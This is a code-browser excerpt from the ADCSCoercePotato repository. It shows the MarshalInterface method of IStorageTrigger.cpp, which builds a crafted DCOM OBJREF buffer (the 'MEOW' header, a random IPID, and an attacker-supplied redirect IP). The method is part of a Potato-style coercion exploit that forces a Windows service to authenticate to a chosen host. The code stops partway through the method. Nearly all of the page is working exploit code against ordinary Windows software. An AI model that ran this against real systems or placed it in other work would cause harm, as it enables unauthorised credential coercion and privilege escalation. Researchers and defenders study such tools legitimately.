MCPcopy Create free account
hub / github.com/decoder-it/ADCSCoercePotato / MarshalInterface

Method MarshalInterface

IStorageTrigger.cpp:47–115  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

45
46}
47HRESULT IStorageTrigger::MarshalInterface(IStream* pStm, const IID& riid, void* pv, DWORD dwDestContext, void* pvDestContext, DWORD mshlflags) {
48 short sec_len = 8;
49 char remote_ip_mb[16];
50 wcstombs(remote_ip_mb, (wchar_t *)wredir_ip, 16);
51 char* ipaddr = remote_ip_mb;
52 unsigned short str_bindlen = (unsigned short)((strlen(ipaddr)) * 2) + 6;
53 unsigned short total_length = (str_bindlen + sec_len) / 2;
54 unsigned char sec_offset = str_bindlen / 2;
55
56 byte data_0[] = { //OBJREF STANDARD
57 0x4d,0x45,0x4f,0x57, //MEOW
58 0x01,0x00,0x00,0x00, //FLAGS
59 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xc0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,
60 0x00,0x00,0x00,0x00, //OBJREF STD FLAGS
61 0x01,0x00,0x00,0x00 //count
62 //0x31,0x11,0xb2,0x3e,0x7c,0x05,0xcb,0x32,//OXID
63 //0x31,0xff,0x38,0xe8,0xb2,0x32,0x32,0x36
64 //0x17,0x34,0x00,0x00,0xb0,0x17,0x00,0x00,0xb2,0x58,0x99,0xe7,0x61,0xb3,0x1d,0xaa //IPID
65 };
66
67
68 byte random_ipid[32];
69 GenRandomByte(random_ipid, 32);
70 byte* dataip;
71 int len = (int)strlen(ipaddr) * 2;
72 dataip = (byte*)malloc(len);
73 for (int i = 0; i < len; i++)
74 {
75 if (i % 2)
76 dataip[i] = *ipaddr++;
77 else
78 dataip[i] = 0;
79 }
80
81 byte data_4[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0xff,
82 0xff, 0x00, 0x00, 0x00, 0x00
83 };
84
85 byte data_1[4];
86 data_1[0] = (byte)total_length;
87 data_1[1] = 0;
88 data_1[2] = sec_offset;
89 data_1[3] = 0;
90
91
92 int size = sizeof(data_0) + sizeof(random_ipid) + sizeof(data_1) + len + 1 + sizeof(data_4);
93 byte* marshalbuf = (byte*)malloc(size);
94 int r = 0;
95 memcpy(&marshalbuf[r], data_0, sizeof(data_0));
96 r = sizeof(data_0);
97 memcpy(&marshalbuf[r], &random_ipid[0], sizeof(random_ipid));
98 r = r + sizeof(random_ipid);
99 memcpy(&marshalbuf[r], data_1, sizeof(data_1));
100 r = r + sizeof(data_1);
101 byte tmp1[] = { 0x07 };
102 memcpy(&marshalbuf[r], tmp1, 1);
103 r = r + 1;
104 memcpy(&marshalbuf[r], dataip, len);

Callers

nothing calls this directly

Calls 1

GenRandomByteFunction · 0.85

Tested by

no test coverage detected